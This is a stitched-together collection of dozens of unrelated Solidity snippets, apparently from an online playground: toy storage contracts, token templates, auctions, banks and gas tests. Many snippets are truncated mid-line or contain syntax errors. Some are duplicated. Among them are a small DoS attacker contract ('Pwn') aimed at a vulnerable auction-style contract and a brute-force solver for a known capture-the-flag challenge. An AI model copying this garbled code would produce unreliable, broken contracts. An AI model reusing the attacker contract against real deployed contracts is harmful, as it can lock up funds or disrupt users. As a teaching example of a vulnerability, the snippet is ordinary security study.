pragma solidity ^0.6.12;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  uint256 baseValue = (10 ** 18);
  uint profitPercentage = 20;
  uint[] list = [1,2,3,4,5,6,7];

  function toString(uint256 value) private pure returns (string memory) {
    // Inspired by OraclizeAPI's implementation - MIT licence
    // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
    if (value == 0) {
        return "0";
    }

    uint256 temp = value;
    uint256 digits;
    while (temp != 0) {
        digits++;
        temp /= 10;
    }

    bytes memory buffer = new bytes(digits);
    while (value != 0) {
        digits -= 1;
        buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
        value /= 10;
    }

    return string(buffer);
}

  function get() public pure returns (uint) {
    return bytes(toString(~uint256(0))).length;
  }

  function get2() public pure returns (uint) {
    return b

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  contract test {
//Defining structure
struct worker
{
string worker;
string duty;
uint8 renumeration;
}
// Creating a mapping
mapping (address => worker) result;
address[] public worker_result;
}

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
 enum week_days
{
Monday,
Tuesday,
Wednesday,
Thursday,
Friday,
Saturday,
Sunday
}
week_days week;
week_days choice;
week_days constant default_value
= week_days.Sunday;
function set_value() public {
choice = week_days.Thursday;
}
function get_choice(
) public view returns (week_days) {
return choice;
}
function getdefaultvalue(
) public pure returns(week_days) {
return default_value;
}

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  uint[6] data;
  uint x;
  function array_example() public returns(uint[6] memory) {
    data=[uint(10),20,30,40,50]
  }

  function result() public view returns (uint[6] memory) {
    return data;
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  string store = "abcd";
    function getStore() public constant returns (string) 
    {
      return store;
    }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set() public pure returns (uint){
  uint value;
    assembly {
        value := byte(0, 0xf1)
    }
    return value;
  }

// Contract address: 0xb4d2f83a3a33e23c0e81e7a3124ae8c214470b9d
// Contract name: MarginlessCrowdsale
// Etherscan link: https://etherscan.io/address/0xb4d2f83a3a33e23c0e81e7a3124ae8c214470b9d#code
pragma solidity 0.4.19;

/**
 * @title ERC20Basic
 * @dev Simpler version of ERC20 interface
 * @dev see https://github.com/ethereum/EIPs/issues/179
 */
contract ERC20Basic {
  function totalSupply() public view returns (uint256);
  function balanceOf(address who) public view returns (uint256);
  function transfer(address to, uint256 value) public returns (bool);
  event Transfer(address indexed from, address indexed to, uint256 value);
}


/**
 * @title ERC20 interface
 * @dev see https://github.com/ethereum/EIPs/issues/20
 */
contract ERC20 is ERC20Basic {
  function allowance(address owner, address spender) public view returns (uint256);
  function transferFrom(address from, address to, uint256 value) public returns (bool);
  function approve(address spender, uint256 value) public returns (

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

contract RP {
    uint256 soldAmount = 0;
    uint256 decimals = 18;

    uint256 checkPoint = 1000 * 10^decimals; // 1k
    uint256 nextCheckPoint = checkPoint * 10; // 10k

    uint256 price = 0.2 ether;

    function sellRp(uint256 _amount) public returns (uint256) {
        uint256 payout;
        uint256 left;
        // 0. balance check of RP amount
        // 0-0. check global limit on RP sellable
        // 0-1. check RP sellable limit on user

        // 1. calculate maticAmount for _amount
        if(checkPoint >= soldAmount + _amount) {
            payout = _amount * price / 10^decimals;
            soldAmount += _amount;
        } else {
            left = _amount;
            // need bounds to prevent exceeding block gas limit
            while(left > 0) {
                uint256 discrepancy = checkPoint - soldAmount;

                if(discrepancy > left) {
                    payout += left * price / 10^decimals;
                 

//Lucky Mokalusi
pragma solidity ^0.4.18;
contract B {
  uint256 a = 0;
  uint256 b = 0;
  uint256 c = 0;
  uint256 d = 0;
  uint256 e = 0;

//Lucky Mokalusi
pragma solidity ^0.4.18;
contract A {
  uint8 a = 0;
  uint8 b = 0;
  uint8 c = 0;
  uint8 d = 0;
  uint8 e = 0;

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

contract RP {
    uint256 soldAmount = 0;
    uint256 decimals = 18;

    uint256 checkPoint = 1000 * 10^decimals; // 1k
    uint256 nextCheckPoint = checkPoint * 10; // 10k

    uint256 price = 0.2 ether;

    function sellRp(uint256 _amount) public returns (uint256) {
        uint256 payout;
        uint256 left;
        // 0. balance check of RP amount
        // 0-0. check global limit on RP sellable
        // 0-1. check RP sellable limit on user

        // 1. calculate maticAmount for _amount
        if(checkPoint >= soldAmount + _amount) {
            payout = _amount * price / 10^decimals;
            soldAmount += _amount;
        } else {
            left = _amount;
            // need bounds to prevent exceeding block gas limit
            while(left > 0) {
                uint256 discrepancy = checkPoint - soldAmount;

                if(discrepancy > left) {
                    payout += left * price / 10^decimals;
                 

pragma solidity ^0.4.18;
contract CallToTheUnknown {
  // Highest bidder becomes the Leader. 
  // Vulnerable to DoS attack by an attacker contract which reverts all transactions to it.

    address currentLeader;
    uint highestBid;

    function() payable {
        require(msg.value > highestBid);
        require(currentLeader.send(highestBid)); // Refund the old leader, if it fails then revert
        currentLeader = msg.sender;
        highestBid = msg.value;
    }
}

contract Pwn {
  // call become leader 
  function becomeLeader(address _address, uint bidAmount) {
    _address.call.value(bidAmount);
  }
    
  // reverts anytime it receives ether, thus cancelling out the change of the leader
  function() payable {
    assert(1==2);
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {

  struct UserStakeData
  {
    address stakeUser;
    uint256 skateTime;
    uint256 bonusValue;
  }
  //盘口=>用户按票购买记录
  mapping(uint256=>mapping(uint256,UserStakeData)) StakeTicketData;

pragma solidity ^0.4.18;
contract A {
  uint8 a = 0;
  uint8 b = 0;

pragma solidity ^0.4.18;
contract A {
  uint8 a = 0;

pragma solidity ^0.4.18;
contract B {
  uint256 a = 0;
  uint256 b = 0;
  uint256 c = 0;
  uint256 d = 0;
  uint256 e = 0;

pragma solidity ^0.4.18;
contract A {
  uint8 a = 0;
  uint8 b = 0;
  uint8 c = 0;
  uint8 d = 0;
  uint8 e = 0;

pragma solidity ^0.4.18;
contract A {
  uint8 a = 255;
  uint8 b = 255;
  uint8 c = 255;
  uint8 d = 255;
  uint8 e = 255;

pragma solidity ^0.4.18;

contract A {
  uint8 a = 0;

pragma solidity ^0.4.18;

contract B {
  uint256 b = 0;

pragma solidity ^0.4.18;

contract B {
  uint256 b = 115792089237316195423570985008687907853269984665640564039457584007913129639935;

pragma solidity ^0.4.18;

contract B {
  uint256 b = 0;

pragma solidity ^0.4.18;

contract A {
  uint8 a = 0;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
}

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity ^0.4.26;  


/* 合約本體 */
contract SimpleAdd {

    /* 變數宣告 */
    uint number = 1;

    // ... 更多變數


    /* 函數定義 */
    function getNumber() public view returns (uint) {
        return number;
    }

    // ... 更多函數 
    function increase() public {
        number++;
    }

    

// SPDX-License-Identifier: GPL-3.0
/* today's date: 4/11/2022 08:31
*/
 
pragma solidity >=0.7.0 <0.9.0;
 
import "@openzeppelin/contracts/utils/math/Math.sol";  //openzeppelin's math library to use min and max
 
/* title: TorusTacToe
dev: Play tic tac toe against the contract on a special torus board, player 1 is O (user) and player 2 is X (contract) */
contract TorusTacToe {
    /* the 72 rightmost bits represent the 36 pieces
       with each piece represented by 2 bits
       (00 = empty, 01 = user marker aka O, 10 = contract marker aka X) */
    uint256 torusState;
 
 
    function searchForMove(uint256 possibleTorus, uint256 depth, bool isContract) public pure returns (int) {    //the minimax function, do alpha beta later
        if(depth == 3) {     //max depth is 3
            return evaluateTorus(possibleTorus);
        }
        if(isContract == false){   // user's turn
            bool torusFull = true;
            int minPoints = type(int).max;
            for(uint256 posIndex = 0; posIndex < 36;

pragma solidity =0.8.7;

contract rps
{
    address payable alice = payable(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4);
    address payable bob = payable(0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2);
    mapping(address=>bytes32) public choice_hashes;
    mapping(address=>uint) public choices;
    uint initialBlock;
    bool flag = false;

    constructor()
    {
        initialBlock = block.timestamp;
    }

    function choice_nonce_hash(bytes32 hash) public payable
    {
        require(block.timestamp < initialBlock + 100);
        require(msg.sender == alice || msg.sender == bob );
        require(msg.value == 1 ether);
        choice_hashes[msg.sender] = hash;
    }

    function reveal_hash(uint choice, string memory nonce) public
    {
        require(block.timestamp >= initialBlock + 100 && block.timestamp < initialBlock + 200);
        require(msg.sender == alice || msg.sender == bob );
        require(sha256((bytes(abi.encodePacked(choice,nonce)))) == choice_hashes[msg.sender]);
        choices[msg

pragma solidity >=0.8.0 <0.9.0;
//SPDX-License-Identifier: MIT

// import "hardhat/console.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

//learn more: https://docs.openzeppelin.com/contracts/3.x/erc721

// GET LISTED ON OPENSEA: https://testnets.opensea.io/get-listed/step-two

contract Tiket is ERC721, ERC721Enumerable, ERC721URIStorage, Ownable {
    using Counters for Counters.Counter;
    Counters.Counter private _tokenIds;

    constructor() public ERC721("Tiket", "TIKT") {}

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 tokenId
    ) internal override(ERC721, ERC721Enumerable) {
        super._beforeTokenTransfer(from, to, tokenId);
    }

    function _burn(uint256 tokenId)
     

pragma solidity 0.7.1;

contract mathProblem {


    uint256 public userWithdrawed;
    uint256 public userDeposited;

    uint256 public shares;
    uint256 public currentPPS;

    uint256 public NAV;

    uint256 public currentCycle;
    uint256 public currentCycleAmount;

    mapping(uint256 => uint256) public cyclePPS;
    uint256 public lastNFTID;
    mapping(uint256 => UserNFTNote) public userDepositsNFT;
    mapping(address => uint256) public userDepositsShares;

    struct UserNFTNote {
        address user;
        uint256 amount;
        uint256 cycle;
    }


    function deposit(uint256 amount) public {
        userDeposited += amount;
        currentCycleAmount += amount;

         UserNFTNote storage userNFTNote = userDepositsNFT[lastNFTID];
         lastNFTID+=1;

         userNFTNote.user = msg.sender;
         userNFTNote.amount = amount;
         userNFTNote.cycle = currentCycle;
    }

    function sendToStrategy() public {
         if (shares > 0) {
             //  Compounding happens her

// SPDX-License-Identifier: UNLICENSE
pragma solidity ^0.4.18;
// Source: https://marduc812.com/2021/04/08/how-to-save-gas-in-your-ethereum-smart-contracts/
contract SaveGas {

    uint256 resultB = 0;
  
        function UseUint256() external returns (uint256) {
        uint256 selectedRange = 255;
        for (uint256 i = 0; i < selectedRange; i++) {
            resultB += 1;
        }
        return resultB;
    }

// SPDX-License-Identifier: UNLICENSE
pragma solidity ^0.4.18;
// Source: https://marduc812.com/2021/04/08/how-to-save-gas-in-your-ethereum-smart-contracts/
contract SaveGas {
    uint8 resultA = 0;
  
    function UseUInt8() external returns (uint8) {
        uint8 selectedRange = 255;
        for (uint8 i = 0; i < selectedRange; i++) {
            resultA += 1;
        }
        return resultA;
    }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SampleOverflow {
     string constant resultC = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
     bytes32 constant resultD = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    function  getString() payable public  returns(string){
        return resultC;
    }
     function  getByte() payable public  returns(bytes32){
        return resultD;
    }

pragma solidity ^0.4.18;

contract Unit8_Binary1 {
  uint8 Binary1 = 1;
}
contract Unit8_Binary3 {
  uint8 Binary3 = 11;
}
contract Unit8_Binary7 {
  uint8 Binary7 = 111;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.6.12;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }


  function testOpt() pure internal {

      uint256[] memory data1 = new uint256[](2);
      data1[0] = 0;
      data1[1] = 0;
  }

  uint value;

/*

    SPDX-License-Identifier: None
    STEALTH LAUNCH BABY VERSION OF Milkdoge
    TG GROUP SOON, LIQ LOCK AFTER LAUNCHED
    BabyMilkdoge (BABYMOGE) - 10% tax

*/

pragma solidity ^0.8.13;


interface IERC20 {

    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */

    function allowance(address

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity =0.8.9;
contract SimpleStore {
  function testGas1(uint a, uint b) {
    if (a == 1 && b == 2) {

    }
  }

  function testGas2(uint a, uint b) {
    bool isA = a > 0;
    bool isB = b > 0;

    if(isA && !isB){

    }
    if(isB && !isA){

    }
    if(isA && isB){

    }
  }

// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;

interface IBEP20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IBEP20Metadata is IBEP20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (a

//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;

contract DepositLock {

  enum Stages {
    AcceptingDeposits,
    FreezingDeposits,
    ReleasingDeposits
  }

  Stages public stage = Stages.AcceptingDeposits;

  uint public creationTime = block.timestamp;

  mapping (address => uint) public balances;    
  
  modifier atStage(Stages _stage) {
    require(stage == _stage, "Action not allowed Now");
    _;
  }

  modifier timedTransitions() {
    if (stage == Stages.AcceptingDeposits && block.timestamp >= creationTime + 1 days)
      nextStage();
    if (stage == Stages.FreezingDeposits && block.timestamp >= creationTime + 8 days)
      nextStage();
    _;
  }
    
  function nextStage() internal {
    stage = Stages(uint(stage) + 1);
  }

  function deposit() public payable timedTransitions atStage(Stages.AcceptingDeposits) {
    balances[msg.sender] += msg.value; 
  }
  
  function withdraw() public timedTransitions atStage(Stages.ReleasingDeposits) { 
    uint amount = balances[msg.sender];
  

//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;

contract SimpleBank {
    mapping (address => uint256) private balances;
    address public owner;
    constructor() payable {
        owner = msg.sender;
    }
    function deposit() public payable returns (uint) {
        balances[owner]+= (msg.value/100)*2;
        balances[msg.sender] += (msg.value/100)*98;
        return balances[msg.sender];
    }
    function withdraw(uint withdrawAmount) public returns (uint remainingBal) {
        if (withdrawAmount <= balances[msg.sender]) {
            balances[msg.sender] -= withdrawAmount;
            if(payable(msg.sender).send(withdrawAmount)) {
                return balances[msg.sender];
            }
        }
        return balances[msg.sender];
    }
    function balance() public view returns (uint) {
        return balances[msg.sender];
    }
    function depositsBalance() public view returns (uint) {
        return address(this).balance;
    }
}

//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;

contract SimpleBank {
    mapping (address => uint) private balances;
    address public owner;
    constructor() payable {
        owner = msg.sender;
    }
    function deposit() public payable returns (uint) {
        balances[msg.sender] += msg.value;
        return balances[msg.sender];
    }
    function withdraw(uint withdrawAmount) public returns (uint remainingBal) {
        if (withdrawAmount <= balances[msg.sender]) {
            balances[msg.sender] -= withdrawAmount;
            if(payable(msg.sender).send(withdrawAmount)) {
                return balances[msg.sender];
            }
        }
        return balances[msg.sender];
    }
    function balance() public view returns (uint) {
        return balances[msg.sender];
    }
    function depositsBalance() public view returns (uint) {
        return address(this).balance;
    }
}

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.26;

contract ArgContract {
  function getAddress(address addr1, address addr2, address addr3, address addr4, address addr5, address addr6, address addr7, address addr8) public pure returns(address){
    return address(uint160(uint256(keccak256(abi.encodePacked(addr1,addr2,addr3,addr4,addr5,addr6,addr7,addr8)))));
  }
}

pragma solidity ^0.4.25;
contract ArgContract {
  function getAddress(address addr1, address addr2, address addr3) public pure returns(address){
    return address(keccak256(abi.encodePacked(addr1, addr2, addr3)));
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract token{
  address owner;
  mapping (address=>uint) balances;
  function transfer(address to,uint amount)public {
    require(balances[msg.sender]>=amount);
    balances[msg.sender] -= amount;
    balances[to] += amount;
  }

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

interface IUniswapV2Router02 {
    function WETH() external pure returns (address);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
}

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

contract SampleSell {
  IUniswapV2Router02 public uniswapRouter;
  mapping(address => uint256) public ethBalance;
  address private uniswap = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
  constructor()  {
    uniswapRouter = IUniswapV2Router02(uniswap);
    }
    function sellTokens(address tokenToSend,uint256 tokenAmount) external payable {
		require(IERC20(tokenToSend).transferFrom(msg.sender, address(this), tokenAmount), "Insufficient funds");
        require(IERC20(tokenToSend).app

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.4;

contract SimpleAuction {
    address payable public beneficiary;
    uint256 public auctionEndTime;
    address public highestBidder;
    uint256 public highestBid;
    mapping(address => uint256) pendingReturns;
    bool ended;
    event HighestBidIncreased(address bidder, uint256 amount);
    event AuctionEnded(address winner, uint256 amount);
    error AuctionAlreadyEnded();
    error BidNotHighEnough(uint256 highestBid);
    error AuctionNotYetEnded();
    error AuctionEndAlreadyCalled();

    constructor(uint256 biddingTime, address payable beneficiaryAddress) {
        beneficiary = beneficiaryAddress;
        auctionEndTime = block.timestamp + biddingTime;
    }
    function bid() external payable {
        if (block.timestamp > auctionEndTime) revert AuctionAlreadyEnded();
        if (msg.value <= highestBid) revert BidNotHighEnough(highestBid);
        if (highestBid != 0) {
            pendingReturns[highestBidder] += highestBid;
        }

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.4;
contract SimpleAuction {
    address payable public beneficiary;
    uint public auctionEndTime;
    address public highestBidder;
    uint public highestBid;
    mapping(address => uint) pendingReturns;
    bool ended;
    event HighestBidIncreased(address bidder, uint amount);
    event AuctionEnded(address winner, uint amount);

    error AuctionAlreadyEnded();
    error BidNotHighEnough(uint highestBid);
    error AuctionNotYetEnded();
    error AuctionEndAlreadyCalled();
    constructor(
        uint biddingTime,
        address payable beneficiaryAddress
    ) {
        beneficiary = beneficiaryAddress;
        auctionEndTime = block.timestamp + biddingTime;
    }
    function bid() external payable {
        if (block.timestamp > auctionEndTime)
            revert AuctionAlreadyEnded();
        if (msg.value <= highestBid)
            revert BidNotHighEnough(highestBid);

        if (highestBid != 0) {
            pendingReturns[highestBidder]

pragma solidity ^0.8.7;
// SPDX-License-Identifier: MIT

contract MoneyCollector { 
    address public owner;
    uint256 public balance;
    
    constructor() {
        owner = msg.sender; 
    }
    
    receive() payable external {
        balance += msg.value;
    }
    
    
    function withdraw(uint amount, address payable destAddr) public {
        require(msg.sender == owner, "Only owner can withdraw");
        require(amount <= balance, "Insufficient funds");
        destAddr.transfer(amount);
        balance -= amount;
    }
}

pragma solidity ^0.8.7;
// SPDX-License-Identifier: MIT

contract MoneyCollector { 
    address public owner;
    uint256 public balance;
    
    constructor() {
        owner = msg.sender; 
    }
    
    receive() payable external {
        balance += msg.value;
    }
    
    
    function withdraw(uint amount, address payable destAddr) public {
        require(msg.sender == owner, "Only owner can withdraw");
        require(amount <= balance, "Insufficient funds");
        
        destAddr.transfer(amount); // send funds to given address
        balance -= amount;
    }
}

pragma solidity ^0.8.7;
// SPDX-License-Identifier: MIT

contract MoneyCollector { // 
    address public owner;
    uint256 public balance;
    
    constructor() {
        owner = msg.sender; // store information who deployed contract
    }
    
    receive() payable external {
        balance += msg.value; // keep track of balance (in WEI)
    }
    
    
    function withdraw(uint amount, address payable destAddr) public {
        require(msg.sender == owner, "Only owner can withdraw");
        require(amount <= balance, "Insufficient funds");
        
        destAddr.transfer(amount); // send funds to given address
        balance -= amount;
    }
}

// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.9.0;

contract Ballot {
    struct Voter {
        string name;
        bool voted;
        uint256 aadarId;
    }
    struct Delegate {
        uint256 id;
        string name;
        uint256 voteCount;
    }

    address public admin;

    mapping(address => Voter) public voters;
    mapping(address => Delegate) public delegate;
    mapping(uint=>address) public delegateId;
    mapping(uint=>address) public voterAadarId;

    modifier onlyAdmin() {
        require(msg.sender == admin, "Only admin can call");
        _;
    }

    constructor() {
        admin = msg.sender;
    }

    function addDelegate(
        address _delegate,
        uint256 _id,
        string memory _name
    ) external onlyAdmin {
        require(_delegate != address(0), "Delegate address cannot be 0");
        require(_id != 0, "Delegate id cannot be 0");
        require(delegateId[_id] == address(0), "Delegate id already exists");
        delegate[_delegate] = Deleg

// Thi is Just Demo for Full Working Project Code ( [email protected] )

// how to create a contract
// Basic solidity coding
pragma solidity^0.4.0;
contract StorageBasic {
uint storedValue;
function set(uint var) {
storedValue=var;
}
function get() constant returns (uint) {
return storedValue;
}
}

pragma solidity ^0.4.21;

contract GuessTheSecretNumberChallenge {
    bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;

    function GuessTheSecretNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }
    
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);

        if (keccak256(n) == answerHash) {
            msg.sender.transfer(2 ether);
        }
    }
}

contract GuessTheSecretNumberSolver {
    bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
    
    function guess() public view returns(uint8) {
      for (uint8 i = 0; i < 2 ** 8; i++) {
        if (keccak256(i) == answerHash) {
            break;
        }
      }
      return i;
    }

    function keccak256Uint(uint n) public pure returns(bytes32) {
      return keccak256(n);
    }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract minting{

uint dnaDigits = 16;
uint dnaModulus = 10 ** dnaDigits;

  struct Robot{
    string name;
    uint32 dna;
    uint level;

  }
  Robot public robots;
  function mint(string memory name, uint32 dna) private {

  }

  function generateDna(string memory _str) private view returns (uint) {
    uint rand = keccak256(abi.encodePacked(_str));
    return rand % dnaModulus;
  }
}

contract breeding{
  function breedTwoNFTS(uint _dna1, uint _dna2, uint breedingTime) internal returns (uint){
    bool breedingStatus = (breedingTime <=now);
    uint childDna;
    if(breedingSatus){
      childDna = (_dna1 + _dna2)/2;
    }
    returns childDna;
  }
}

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract minting{

uint dnaDigits = 16;
uint dnaModulus = 10 ** dnaDigits;

  struct Robot{
    string name;
    uint32 dna;
    uint level;

  }
  Robot public robots;
  function mint(string memory name, uint32 dna) private {

  }

  function generateDna(){
    
  }
}

contract breeding is minting{
  function breedTwoNFTS(uint _dna1, uint _dna2, uint breedingTime) internal returns (uint){
    bool breedingStatus = (breedingTime <=now);
    uint childDna;
    if(breedingSatus){
      childDna = (_dna1 + _dna2)/2;
    }
    returns childDna;
  }
}

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract breeding{
  function breedTwoNFTS(uint _dna1, uint _dna2, uint breedingTime) internal returns (uint){
    bool breedingStatus = (breedingTime <=now);
    uint childDna;
    if(breedingSatus){
      childDna = (_dna1 + _dna2)/2;
    }
    returns childDna;
  }

// contracts/GLDToken.sol
// SPDX-License-Identifier: MIT


pragma solidity ^0.8.0  ;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol";

contract PizanicToken is ERC20 {
    constructor(uint256 initialSupply) ERC20("Pizanic", "PZNC") {
        _mint(msg.sender, initialSupply);
    }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint[] _value) public {
    value = _value[0];
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity ^0.8.10;

library SafeMath {
 
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }
 
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }
 
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }
 
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }
 
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        u

// SPDX-License-Identifier: UNLICENSED

/**
 *Submitted for verification at BscScan.com on {{to be annouced}}
*/

/*
* 
UA Faith Token (Website: https://uafatoken.org/)

Initial Supply: 100 000 000 000 000 000 000 000 Tokens

Tax:
8% buy
8% sell
Charity Fee 2%, Liquidity Generation Fee 2%, Burning Fee 2%, Tax Fee 2%

https://discord.gg/QZzpwxcKSP
https://t.me/uafatoken
https://www.flowcode.com/page/uafatoken

UAFA Token //VVS//
Without Dishonor. Without Prejudice. V.C.
Created by Tymur Matvieienko and Kurtis Brisbois
*
*/

pragma solidity 0.6.12;

interface IBEP20 {
  function totalSupply() external view returns (uint256);
  function decimals() external view returns (uint8);
  function symbol() external view returns (string memory);
  function name() external view returns (string memory);
  function getOwner() external view returns (address);
  function balanceOf(address account) external view returns (uint256);
  function transfer(address recipient, uint256 amount) external returns (bool);
  function allowan

/*

'########:'##::::'##:'########::::
... ##..:: ##:::: ##: ##.....:::::
::: ##:::: ##:::: ##: ##::::::::::
::: ##:::: #########: ######::::::
::: ##:::: ##.... ##: ##...:::::::
::: ##:::: ##:::: ##: ##::::::::::
::: ##:::: ##:::: ##: ########::::
:::..:::::..:::::..::........:::::
'##::::'##:'########:'########:::'######::'##::::'##:'########::'####::::'###::::'##::: ##:
 ###::'###: ##.....:: ##.... ##:'##... ##: ##:::: ##: ##.... ##:. ##::::'## ##::: ###:: ##:
 ####'####: ##::::::: ##:::: ##: ##:::..:: ##:::: ##: ##:::: ##:: ##:::'##:. ##:: ####: ##:
 ## ### ##: ######::: ########:: ##::::::: ##:::: ##: ########::: ##::'##:::. ##: ## ## ##:
 ##. #: ##: ##...:::: ##.. ##::: ##::::::: ##:::: ##: ##.. ##:::: ##:: #########: ##. ####:
 ##:.:: ##: ##::::::: ##::. ##:: ##::: ##: ##:::: ##: ##::. ##::: ##:: ##.... ##: ##:. ###:
 ##:::: ##: ########: ##:::. ##:. ######::. #######:: ##:::. ##:'####: ##:::: ##: ##::. ##:
..:::::..::........::..:::::..:::......::::.......:::..:::::..::....::..:::::..::..::::..::
'###

// SPDX-License-Identifier: UNLICENSED

/**
 *Submitted for verification at BscScan.com on {{to be annouced}}
*/

/*
* 
UA Faith Token (Website: https://uafatoken.org/)

Initial Supply: 100 000 000 000 000 000 000 000 Tokens

Tax:
8% buy
8% sell
